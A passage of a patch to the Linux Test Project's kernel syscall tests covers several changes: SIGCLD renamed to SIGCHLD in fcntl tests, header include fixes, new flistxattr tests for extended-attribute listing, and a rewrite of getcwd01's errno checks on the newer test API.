-	sigaddset(&act.sa_mask, SIGCLD);
-	if ((sigaction(SIGCLD, &act, NULL)) < 0)
+	sigaddset(&act.sa_mask, SIGCHLD);
+	if ((sigaction(SIGCHLD, &act, NULL)) < 0)
 		tst_brkm(TBROK | TERRNO, cleanup,
-			 "sigaction(SIGCLD, ..) failed");
+			 "sigaction(SIGCHLD, ..) failed");
 }
 
 void do_child(void)
@@ -227,7 +227,7 @@
 {
 	struct flock fl;
 
-	signal(SIGCLD, SIG_DFL);
+	signal(SIGCHLD, SIG_DFL);
 	fl.l_type = STOP;
 	parent_put(&fl);
 	wait(0);
diff --git a/testcases/kernel/syscalls/fcntl/fcntl14.c b/testcases/kernel/syscalls/fcntl/fcntl14.c
index c61eb24..1799084 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl14.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl14.c
@@ -775,8 +775,6 @@
 
 void run_test(int file_flag, int file_mode, int seek, int start, int end)
 {
-	extern long time();
-
 	fail = 0;
 
 	for (test = start; test < end; test++) {
diff --git a/testcases/kernel/syscalls/fcntl/fcntl17.c b/testcases/kernel/syscalls/fcntl/fcntl17.c
index 229e490..e055f1a 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl17.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl17.c
@@ -150,9 +150,9 @@
 	memset(&act, 0, sizeof(act));
 	act.sa_handler = catch_child;
 	sigemptyset(&act.sa_mask);
-	sigaddset(&act.sa_mask, SIGCLD);
-	if (sigaction(SIGCLD, &act, NULL) < 0) {
-		tst_resm(TFAIL, "SIGCLD signal setup failed, errno: %d", errno);
+	sigaddset(&act.sa_mask, SIGCHLD);
+	if (sigaction(SIGCHLD, &act, NULL) < 0) {
+		tst_resm(TFAIL, "SIGCHLD signal setup failed, errno: %d", errno);
 		return 1;
 	}
 	return 0;
@@ -390,7 +390,7 @@
 {
 	int arg;
 
-	signal(SIGCLD, SIG_DFL);
+	signal(SIGCHLD, SIG_DFL);
 	arg = STOP;
 	child_free(child_pipe1[1], arg);
 	child_free(child_pipe2[1], arg);
diff --git a/testcases/kernel/syscalls/fcntl/fcntl19.c b/testcases/kernel/syscalls/fcntl/fcntl19.c
index a542cfc..88c91d6 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl19.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl19.c
@@ -112,9 +112,9 @@
 	memset(&act, 0, sizeof(act));
 	act.sa_handler = catch_child;
 	sigemptyset(&act.sa_mask);
-	sigaddset(&act.sa_mask, SIGCLD);
-	if ((sigaction(SIGCLD, &act, NULL)) < 0) {
-		tst_resm(TFAIL, "SIGCLD signal setup failed, errno: %d", errno);
+	sigaddset(&act.sa_mask, SIGCHLD);
+	if ((sigaction(SIGCHLD, &act, NULL)) < 0) {
+		tst_resm(TFAIL, "SIGCHLD signal setup failed, errno: %d", errno);
 		fail = 1;
 	}
 }
@@ -265,7 +265,7 @@
 {
 	struct flock fl;
 
-	signal(SIGCLD, SIG_DFL);
+	signal(SIGCHLD, SIG_DFL);
 	fl.l_type = STOP;
 	parent_put(&fl);
 	wait(0);
diff --git a/testcases/kernel/syscalls/fcntl/fcntl20.c b/testcases/kernel/syscalls/fcntl/fcntl20.c
index aa06bab..99fd783 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl20.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl20.c
@@ -109,9 +109,9 @@
 	memset(&act, 0, sizeof(act));
 	act.sa_handler = catch_child;
 	sigemptyset(&act.sa_mask);
-	sigaddset(&act.sa_mask, SIGCLD);
-	if (sigaction(SIGCLD, &act, NULL) == -1)
-		tst_brkm(TFAIL | TERRNO, cleanup, "SIGCLD signal setup failed");
+	sigaddset(&act.sa_mask, SIGCHLD);
+	if (sigaction(SIGCHLD, &act, NULL) == -1)
+		tst_brkm(TFAIL | TERRNO, cleanup, "SIGCHLD signal setup failed");
 }
 
 void cleanup(void)
@@ -264,7 +264,7 @@
 {
 	struct flock fl;
 
-	signal(SIGCLD, SIG_DFL);
+	signal(SIGCHLD, SIG_DFL);
 	fl.l_type = STOP;
 	parent_put(&fl);
 	wait(0);
diff --git a/testcases/kernel/syscalls/fcntl/fcntl21.c b/testcases/kernel/syscalls/fcntl/fcntl21.c
index 5307021..8f1a67c 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl21.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl21.c
@@ -110,9 +110,9 @@
 	memset(&act, 0, sizeof(act));
 	act.sa_handler = catch_child;
 	sigemptyset(&act.sa_mask);
-	sigaddset(&act.sa_mask, SIGCLD);
-	if ((sigaction(SIGCLD, &act, NULL)) < 0) {
-		tst_resm(TFAIL, "SIGCLD signal setup failed, errno: %d", errno);
+	sigaddset(&act.sa_mask, SIGCHLD);
+	if ((sigaction(SIGCHLD, &act, NULL)) < 0) {
+		tst_resm(TFAIL, "SIGCHLD signal setup failed, errno: %d", errno);
 		fail = 1;
 	}
 }
@@ -272,7 +272,7 @@
 {
 	struct flock fl;
 
-	signal(SIGCLD, SIG_DFL);
+	signal(SIGCHLD, SIG_DFL);
 	fl.l_type = STOP;
 	parent_put(&fl);
 	wait(0);
diff --git a/testcases/kernel/syscalls/fcntl/fcntl34.c b/testcases/kernel/syscalls/fcntl/fcntl34.c
index c72951e..6b84249 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl34.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl34.c
@@ -23,8 +23,10 @@
 #include <unistd.h>
 #include <fcntl.h>
 #include <pthread.h>
+#include <sched.h>
 
 #include "lapi/fcntl.h"
+#include "tst_safe_pthread.h"
 #include "tst_test.h"
 
 static int thread_cnt;
@@ -66,7 +68,7 @@
 
 	memset(buf, (intptr_t)arg, write_size);
 
-	struct flock lck = {
+	struct flock64 lck = {
 		.l_whence = SEEK_SET,
 		.l_start  = 0,
 		.l_len    = 1,
@@ -84,7 +86,7 @@
 		if (fcntl(fd, F_OFD_SETLKW, &lck) == -1)
 			tst_brk(TBROK | TERRNO, "fcntl() failed");
 
-		pthread_yield();
+		sched_yield();
 	}
 
 	SAFE_CLOSE(fd);
diff --git a/testcases/kernel/syscalls/flistxattr/Makefile b/testcases/kernel/syscalls/flistxattr/Makefile
new file mode 100644
index 0000000..b794ec0
--- /dev/null
+++ b/testcases/kernel/syscalls/flistxattr/Makefile
@@ -0,0 +1,23 @@
+#
+#  Copyright (c) 2016 RT-RK Institute for Computer Based Systems
+#  Author: Dejan Jovicevic <dejan.jovicevic@rt-rk.com>
+#
+#  This program is free software;  you can redistribute it and/or modify
+#  it under the terms of the GNU General Public License as published by
+#  the Free Software Foundation; either version 2 of the License, or
+#  (at your option) any later version.
+#
+#  This program is distributed in the hope that it will be useful,
+#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
+#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+#  the GNU General Public License for more details.
+#
+#  You should have received a copy of the GNU General Public License
+#  along with this program.
+#
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/flistxattr/flistxattr01.c b/testcases/kernel/syscalls/flistxattr/flistxattr01.c
new file mode 100644
index 0000000..5fa4e7f
--- /dev/null
+++ b/testcases/kernel/syscalls/flistxattr/flistxattr01.c
@@ -0,0 +1,103 @@
+/*
+*  Copyright (c) 2016 RT-RK Institute for Computer Based Systems
+*  Author: Dejan Jovicevic <dejan.jovicevic@rt-rk.com>
+*
+*  This program is free software;  you can redistribute it and/or modify
+*  it under the terms of the GNU General Public License as published by
+*  the Free Software Foundation; either version 2 of the License, or
+*  (at your option) any later version.
+*
+*  This program is distributed in the hope that it will be useful,
+*  but WITHOUT ANY WARRANTY;  without even the implied warranty of
+*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+*  the GNU General Public License for more details.
+*
+*  You should have received a copy of the GNU General Public License
+*  along with this program.
+*/
+
+/*
+* Test Name: verify_flistxattr01
+*
+* Description:
+* The testcase checks the basic functionality of the flistxattr(2).
+* flistxattr(2) retrieves the list of extended attribute names
+* associated with the file itself in the filesystem.
+*
+*/
+
+#include "config.h"
+#include <errno.h>
+#include <sys/types.h>
+#include <string.h>
+
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
+#endif
+
+#include "tst_test.h"
+
+#ifdef HAVE_SYS_XATTR_H
+
+#define SECURITY_KEY1	"security.ltptest1"
+#define VALUE	"test"
+#define VALUE_SIZE	(sizeof(VALUE) - 1)
+#define KEY_SIZE    (sizeof(SECURITY_KEY1) - 1)
+
+static int fd;
+
+static int has_attribute(const char *list, int llen, const char *attr)
+{
+	int i;
+
+	for (i = 0; i < llen; i += strlen(list + i) + 1) {
+		if (!strcmp(list + i, attr))
+			return 1;
+	}
+	return 0;
+}
+
+static void verify_flistxattr(void)
+{
+	char buf[64];
+
+	TEST(flistxattr(fd, buf, sizeof(buf)));
+	if (TEST_RETURN == -1) {
+		tst_res(TFAIL | TTERRNO, "flistxattr() failed");
+		return;
+	}
+
+	if (!has_attribute(buf, sizeof(buf), SECURITY_KEY1)) {
+		tst_res(TFAIL, "missing attribute %s",
+			 SECURITY_KEY1);
+		return;
+	}
+
+	tst_res(TPASS, "flistxattr() succeeded");
+}
+
+static void setup(void)
+{
+	fd = SAFE_OPEN("testfile", O_RDWR | O_CREAT, 0644);
+
+	SAFE_FSETXATTR(fd, SECURITY_KEY1, VALUE, VALUE_SIZE, XATTR_CREATE);
+}
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.tid = "flistxattr01",
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.test_all = verify_flistxattr,
+	.setup = setup,
+	.cleanup = cleanup,
+};
+
+#else
+	TST_TEST_TCONF("<sys/xattr.h> does not exist.");
+#endif /* HAVE_SYS_XATTR_H */
diff --git a/testcases/kernel/syscalls/flistxattr/flistxattr02.c b/testcases/kernel/syscalls/flistxattr/flistxattr02.c
new file mode 100644
index 0000000..876d53a
--- /dev/null
+++ b/testcases/kernel/syscalls/flistxattr/flistxattr02.c
@@ -0,0 +1,106 @@
+/*
+* Copyright (c) 2016 RT-RK Institute for Computer Based Systems
+* Author: Dejan Jovicevic <dejan.jovicevic@rt-rk.com>
+*
+* This program is free software; you can redistribute it and/or modify it
+* under the terms of version 2 of the GNU General Public License as
+* published by the Free Software Foundation.
+*
+* This program is distributed in the hope that it would be useful, but
+* WITHOUT ANY WARRANTY; without even the implied warranty of
+* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+*
+* You should have received a copy of the GNU General Public License
+* alone with this program.
+*/
+
+/*
+* Test Name: flistxattr02
+*
+* Description:
+* 1) flistxattr(2) fails if the size of the list buffer is too small
+* to hold the result.
+* 2) flistxattr(2) fails if fd is an invalid file descriptor.
+*
+* Expected Result:
+* 1) flistxattr(2) should return -1 and set errno to ERANGE.
+* 2) flistxattr(2) should return -1 and set errno to EBADF.
+*/
+
+#include "config.h"
+#include <errno.h>
+#include <sys/types.h>
+
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
+#endif
+
+#include "tst_test.h"
+
+#ifdef HAVE_SYS_XATTR_H
+
+#define SECURITY_KEY	"security.ltptest"
+#define VALUE	"test"
+#define VALUE_SIZE	(sizeof(VALUE) - 1)
+
+static int fd1;
+static int fd2 = -1;
+
+static struct test_case {
+	int *fd;
+	size_t size;
+	int exp_err;
+} tc[] = {
+	{&fd1, 1, ERANGE},
+	{&fd2, 20, EBADF}
+};
+
+static void verify_flistxattr(unsigned int n)
+{
+	struct test_case *t = tc + n;
+	char buf[t->size];
+
+	TEST(flistxattr(*t->fd, buf, t->size));
+	if (TEST_RETURN != -1) {
+		tst_res(TFAIL,
+			"flistxattr() succeeded unexpectedly (returned %ld)",
+			TEST_RETURN);
+		return;
+	}
+
+	if (t->exp_err != TEST_ERRNO) {
+		tst_res(TFAIL | TTERRNO, "flistxattr() failed "
+			 "unexpectedlly, expected %s",
+			 tst_strerrno(t->exp_err));
+	} else {
+		tst_res(TPASS | TTERRNO,
+			 "flistxattr() failed as expected");
+	}
+}
+
+static void setup(void)
+{
+	fd1 = SAFE_OPEN("testfile", O_RDWR | O_CREAT, 0644);
+
+	SAFE_FSETXATTR(fd1, SECURITY_KEY, VALUE, VALUE_SIZE, XATTR_CREATE);
+}
+
+static void cleanup(void)
+{
+	if (fd1 > 0)
+		SAFE_CLOSE(fd1);
+}
+
+static struct tst_test test = {
+	.tid = "flistxattr02",
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.test = verify_flistxattr,
+	.tcnt = ARRAY_SIZE(tc),
+	.setup = setup,
+	.cleanup = cleanup,
+};
+
+#else /* HAVE_SYS_XATTR_H */
+	TST_TEST_TCONF("<sys/xattr.h> does not exist.");
+#endif
diff --git a/testcases/kernel/syscalls/flistxattr/flistxattr03.c b/testcases/kernel/syscalls/flistxattr/flistxattr03.c
new file mode 100644
index 0000000..0fcf0d8
--- /dev/null
+++ b/testcases/kernel/syscalls/flistxattr/flistxattr03.c
@@ -0,0 +1,97 @@
+/*
+*  Copyright (c) 2016 RT-RK Institute for Computer Based Systems
+*  Author: Dejan Jovicevic <dejan.jovicevic@rt-rk.com>
+*
+*  This program is free software;  you can redistribute it and/or modify
+*  it under the terms of the GNU General Public License as published by
+*  the Free Software Foundation; either version 2 of the License, or
+*  (at your option) any later version.
+*
+*  This program is distributed in the hope that it will be useful,
+*  but WITHOUT ANY WARRANTY;  without even the implied warranty of
+*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+*  the GNU General Public License for more details.
+*
+*  You should have received a copy of the GNU General Public License
+*  along with this program.
+*/
+
+/*
+* Test Name: flistxattr03
+*
+* Description:
+* flistxattr is identical to listxattr. an empty buffer of size zero
+* can return the current size of the list of extended attribute names,
+* which can be used to estimate a suitable buffer.
+*/
+
+#include "config.h"
+#include <errno.h>
+#include <sys/types.h>
+
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
+#endif
+
+#include "tst_test.h"
+
+#ifdef HAVE_SYS_XATTR_H
+
+#define SECURITY_KEY	"security.ltptest"
+#define VALUE	"test"
+#define VALUE_SIZE	(sizeof(VALUE) - 1)
+
+static int fd[] = {0, 0};
+
+static int check_suitable_buf(const int file, long size)
+{
+	int n;
+	char buf[size];
+
+	n = flistxattr(file, buf, sizeof(buf));
+
+	return n != -1;
+}
+
+static void verify_flistxattr(unsigned int n)
+{
+	TEST(flistxattr(fd[n], NULL, 0));
+	if (TEST_RETURN == -1) {
+		tst_res(TFAIL | TTERRNO, "flistxattr() failed");
+		return;
+	}
+
+	if (check_suitable_buf(fd[n], TEST_RETURN))
+		tst_res(TPASS, "flistxattr() succeed with suitable buffer");
+	else
+		tst_res(TFAIL, "flistxattr() failed with small buffer");
+}
+
+static void setup(void)
+{
+	fd[0] = SAFE_OPEN("testfile1", O_RDWR | O_CREAT, 0644);
+
+	fd[1] = SAFE_OPEN("testfile2", O_RDWR | O_CREAT, 0644);
+
+	SAFE_FSETXATTR(fd[1], SECURITY_KEY, VALUE, VALUE_SIZE, XATTR_CREATE);
+}
+
+static void cleanup(void)
+{
+	SAFE_CLOSE(fd[1]);
+	SAFE_CLOSE(fd[0]);
+}
+
+static struct tst_test test = {
+	.tid = "flistxattr03",
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.test = verify_flistxattr,
+	.tcnt = ARRAY_SIZE(fd),
+	.setup = setup,
+	.cleanup = cleanup,
+};
+
+#else /* HAVE_SYS_XATTR_H */
+	TST_TEST_TCONF("<sys/xattr.h> does not exist.");
+#endif
diff --git a/testcases/kernel/syscalls/fmtmsg/fmtmsg01.c b/testcases/kernel/syscalls/fmtmsg/fmtmsg01.c
index b41f6b2..6ed4a1c 100644
--- a/testcases/kernel/syscalls/fmtmsg/fmtmsg01.c
+++ b/testcases/kernel/syscalls/fmtmsg/fmtmsg01.c
@@ -21,16 +21,10 @@
 /* 06/30/2001	Port to Linux	nsharoff@us.ibm.com */
 
 /*
- * NAME
- *      fmtmsg -- test fmtmsg(3C) and addseverity(3C)
- *
- * CALLS
- *      fmtmsg(3), addseverity(3C)
+ * fmtmsg(3C) and addseverity(3C)
  *
  * ALGORITHM
  *      Check basic functionality using various messages and severity levels.
- *
- * RESTRICTIONS
  */
 
 #include <sys/types.h>
@@ -38,12 +32,11 @@
 #include <fcntl.h>
 #include <ctype.h>
 #include <stdio.h>
-#if !defined(UCLINUX) && !defined(__UCLIBC__)
+#if !defined(__UCLIBC__)
 #include <fmtmsg.h>		/* interface definition */
 #endif
 #include <string.h>
 
-/*****	LTP Port	*****/
 #include <stdlib.h>
 #include <unistd.h>
 #include <errno.h>
@@ -63,9 +56,6 @@
 int blexit();
 void setup();
 
-/*****	**	**	*****/
-//char progname[]= "fmtmsg1()";
-
 char ch;
 char buf[80];
 char *str1 = "LTP:fmtmsg: INFO: LTP fmtmsg() test1 message, NOT an error";
@@ -80,15 +70,16 @@
 		buf[i] = '\0';
 }
 
-#if !defined(UCLINUX) && !defined(__UCLIBC__)
+#if !defined(__UCLIBC__)
 
-/*--------------------------------------------------------------*/
 int main(int argc, char *argv[])
 {
 	int fd, ret_val;
 	FILE *fp;
 
-	setup();		/* temp file is now open */
+	tst_parse_opts(argc, argv, NULL, NULL);
+
+	setup();
 /*--------------------------------------------------------------*/
 	blenter();
 
@@ -218,18 +209,10 @@
 	}
 
 	blexit();
-/*--------------------------------------------------------------*/
-/* Clean up any files created by test before call to anyfail.   */
-
-	anyfail();		/* THIS CALL DOES NOT RETURN - EXITS!!  */
+	anyfail();
 	tst_exit();
 }
 
-/*--------------------------------------------------------------*/
-
-/*****	LTP Port	*****/
-/* FUNCTIONS GO HERE */
-
 int anyfail(void)
 {
 	(local_flag == FAILED) ? tst_resm(TFAIL,
@@ -247,14 +230,12 @@
 
 int blenter(void)
 {
-	//tst_resm(TINFO, "Enter block %d", block_number);
 	local_flag = PASSED;
 	return 0;
 }
 
 int blexit(void)
 {
-	//tst_resm(TINFO, "Exitng test");
 	(local_flag == FAILED) ? tst_resm(TFAIL,
 					  "Test failed") : tst_resm(TPASS,
 								    "Test passed");
@@ -265,10 +246,7 @@
 
 int main(void)
 {
-	tst_resm(TINFO, "test is not available on uClinux");
-	tst_exit();
+	tst_brkm(TCONF, NULL, "test is not available on uClibc");
 }
 
-#endif /* if !defined(UCLINUX) */
-
-/*****	**	**	*****/
+#endif /* if !defined(__UCLIBC__) */
diff --git a/testcases/kernel/syscalls/fstat/fstat01.c b/testcases/kernel/syscalls/fstat/fstat01.c
index 7693755..2ceed22 100644
--- a/testcases/kernel/syscalls/fstat/fstat01.c
+++ b/testcases/kernel/syscalls/fstat/fstat01.c
@@ -110,7 +110,7 @@
  *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/fstat/fstat02.c b/testcases/kernel/syscalls/fstat/fstat02.c
index d2f99ff..03d29a2 100644
--- a/testcases/kernel/syscalls/fstat/fstat02.c
+++ b/testcases/kernel/syscalls/fstat/fstat02.c
@@ -22,7 +22,7 @@
  */
 #include <stdio.h>
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/fstatat/fstatat01.c b/testcases/kernel/syscalls/fstatat/fstatat01.c
index 128f6dd..840d7b6 100644
--- a/testcases/kernel/syscalls/fstatat/fstatat01.c
+++ b/testcases/kernel/syscalls/fstatat/fstatat01.c
@@ -28,7 +28,6 @@
 #include <sys/stat.h>
 #include <sys/time.h>
 #include <fcntl.h>
-#include <error.h>
 #include <stdlib.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/fstatfs/fstatfs01.c b/testcases/kernel/syscalls/fstatfs/fstatfs01.c
index 9600416..b06652d 100644
--- a/testcases/kernel/syscalls/fstatfs/fstatfs01.c
+++ b/testcases/kernel/syscalls/fstatfs/fstatfs01.c
@@ -39,7 +39,7 @@
  */
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/statfs.h>
 #include <errno.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/fsync/fsync01.c b/testcases/kernel/syscalls/fsync/fsync01.c
index 340a8d2..d7cc4f0 100644
--- a/testcases/kernel/syscalls/fsync/fsync01.c
+++ b/testcases/kernel/syscalls/fsync/fsync01.c
@@ -110,7 +110,7 @@
  *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/statfs.h>
 #include <errno.h>
 #include <string.h>
@@ -139,7 +139,7 @@
 
 		tst_count = 0;
 
-		if (write(fd, &buf, strlen(buf)) == -1)
+		if (write(fd, buf, strlen(buf)) == -1)
 			tst_brkm(TBROK | TERRNO, cleanup, "write failed");
 		TEST(fsync(fd));
 
diff --git a/testcases/kernel/syscalls/ftruncate/ftruncate01.c b/testcases/kernel/syscalls/ftruncate/ftruncate01.c
index ee03529..3bbae0a 100644
--- a/testcases/kernel/syscalls/ftruncate/ftruncate01.c
+++ b/testcases/kernel/syscalls/ftruncate/ftruncate01.c
@@ -68,7 +68,7 @@
 
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/ftruncate/ftruncate02.c b/testcases/kernel/syscalls/ftruncate/ftruncate02.c
index 40e4ac6..77f40e2 100644
--- a/testcases/kernel/syscalls/ftruncate/ftruncate02.c
+++ b/testcases/kernel/syscalls/ftruncate/ftruncate02.c
@@ -69,7 +69,7 @@
 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/ftruncate/ftruncate03.c b/testcases/kernel/syscalls/ftruncate/ftruncate03.c
index 379451c..bb4dd1e 100644
--- a/testcases/kernel/syscalls/ftruncate/ftruncate03.c
+++ b/testcases/kernel/syscalls/ftruncate/ftruncate03.c
@@ -48,7 +48,7 @@
 #include <inttypes.h>
 #include <sys/types.h>
 #include <sys/socket.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 
 #include "test.h"
 
diff --git a/testcases/kernel/syscalls/ftruncate/ftruncate04.c b/testcases/kernel/syscalls/ftruncate/ftruncate04.c
index b10c6dd..d4fe691 100644
--- a/testcases/kernel/syscalls/ftruncate/ftruncate04.c
+++ b/testcases/kernel/syscalls/ftruncate/ftruncate04.c
@@ -38,7 +38,7 @@
 #include <unistd.h>
 #include <stdio.h>
 #include <errno.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include <inttypes.h>
 #include <sys/types.h>
 #include <sys/stat.h>
diff --git a/testcases/kernel/syscalls/futimesat/futimesat01.c b/testcases/kernel/syscalls/futimesat/futimesat01.c
index 858212f..514cfcf 100644
--- a/testcases/kernel/syscalls/futimesat/futimesat01.c
+++ b/testcases/kernel/syscalls/futimesat/futimesat01.c
@@ -28,7 +28,6 @@
 #include <sys/stat.h>
 #include <sys/time.h>
 #include <fcntl.h>
-#include <error.h>
 #include <stdlib.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/getcwd/getcwd01.c b/testcases/kernel/syscalls/getcwd/getcwd01.c
index 0d0ecdb..bd56437 100644
--- a/testcases/kernel/syscalls/getcwd/getcwd01.c
+++ b/testcases/kernel/syscalls/getcwd/getcwd01.c
@@ -1,152 +1,87 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
  */
 
 /*
- * NAME
- *	getcwd01
- *
  * DESCRIPTION
- *	Testcase to test that getcwd(2) sets errno correctly.
+ * Testcase to test that getcwd(2) sets errno correctly.
+ * 1) getcwd(2) fails if buf points to a bad address.
+ * 2) getcwd(2) fails if the size is invalid.
+ * 3) getcwd(2) fails if the size is set to 0.
+ * 4) getcwd(2) fails if the size is set to 1.
+ * 5) getcwd(2) fails if buf points to NULL and the size is set to 1.
  *
- * ALGORITHM
- *	Test 1: Call getcwd(2) with a buf pointing outside the address space of
- *		 process, and a valid size, and expect EFAULT to be
- *		 set in errno.
- *	Test 2: Call getcwd(2) with buf = NULL, size = -1, and expect ENOMEM
- *		 to be set in errno.
- *	Test 3: Call getcwd(2) with a valid buf, and size = 0, and expect
- *		 EINVAL to be set in errno.
- *	Test 4: Call getcwd(2) on the root directory, and set size to 1, expect
- *		 ERANGE to be set in errno.
+ * Expected Result:
+ * 1) getcwd(2) should return NULL and set errno to EFAULT.
+ * 2) getcwd(2) should return NULL and set errno to ENOMEM.
+ * 3) getcwd(2) should return NULL and set errno to EINVAL.
+ * 4) getcwd(2) should return NULL and set errno to ERANGE.
+ * 5) getcwd(2) should return NULL and set errno to ERANGE.
  *
- * USAGE:  <for command-line>
- *  getcwd01 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	NONE
  */
-#include <stdio.h>
-#include <string.h>
+
 #include <errno.h>
-#include "test.h"
+#include <unistd.h>
+#include <limits.h>
+#include "tst_test.h"
 
-char *TCID = "getcwd01";
-char buf[100];
+static char buffer[5];
 
-void cleanup(void);
-void setup(void);
-void setup_test4(void);
-
-struct test_case_t {
-	char *desc;
-	void (*setupfunc) ();
+static struct t_case {
 	char *buf;
-	int size;
-	int exp_errno;
-	char *exp_retval;
-} testcases[] = {
-#ifndef UCLINUX
-	/* Skip since uClinux does not implement memory protection */
-	{
-	"Test for EFAULT", NULL, (void *)-1, BUFSIZ, EFAULT, NULL},
-#endif
-	{
-	"Test for ENOMEM", NULL, NULL, -1, ENOMEM, NULL}, {
-	"Test for EINVAL", NULL, buf, 0, EINVAL, NULL}, {
-	"Test for ERANGE", (void *)setup_test4, buf, 1, ERANGE, NULL}
+	size_t size;
+	int exp_err;
+} tcases[] = {
+	{(void *)-1, PATH_MAX, EFAULT},
+	{NULL, (size_t)-1, ENOMEM},
+	{buffer, 0, EINVAL},
+	{buffer, 1, ERANGE},
+	{NULL, 1, ERANGE}
 };
 
-int TST_TOTAL = ARRAY_SIZE(testcases);
-
-int main(int ac, char **av)
+static void verify_getcwd(unsigned int n)
 {
-	int i;
-	int lc;
-	char *test_erg;
+	struct t_case *tc = &tcases[n];
+	char *res;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-	setup();
-
-	/*
-	 * The following loop checks looping state if -i option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; ++i) {
-			tst_resm(TINFO, "%s", testcases[i].desc);
-
-			if (testcases[i].setupfunc != NULL) {
-				testcases[i].setupfunc();
-			}
-
-			errno = 0;
-			test_erg = getcwd(testcases[i].buf, testcases[i].size);
-			TEST_ERRNO = errno;
-
-			if (test_erg != testcases[i].exp_retval) {
-				tst_resm(TFAIL, "getcwd(2) failed to return"
-					 "expected value, expected: %p, "
-					 "got: %p", testcases[i].exp_retval,
-					 test_erg);
-				continue;
-			}
-			if (TEST_ERRNO != testcases[i].exp_errno) {
-				tst_resm(TFAIL, "getcwd returned unexpected "
-					 "errno, expected: %d, got: %d",
-					 testcases[i].exp_errno, TEST_ERRNO);
-				continue;
-			}
-			tst_resm(TPASS, "Test case %d PASSED", i + 1);
-		}
+	errno = 0;
+	res = getcwd(tc->buf, tc->size);
+	TEST_ERRNO = errno;
+	if (res) {
+		tst_res(TFAIL, "getcwd() succeeded unexpectedly");
+		return;
 	}
-	cleanup();
 
-	tst_exit();
+	if (TEST_ERRNO != tc->exp_err) {
+		tst_res(TFAIL | TTERRNO, "getcwd() failed unexpectedly, expected %s",
+			tst_strerrno(tc->exp_err));
+		return;
+	}
+
+	tst_res(TPASS | TTERRNO, "getcwd() failed as expected");
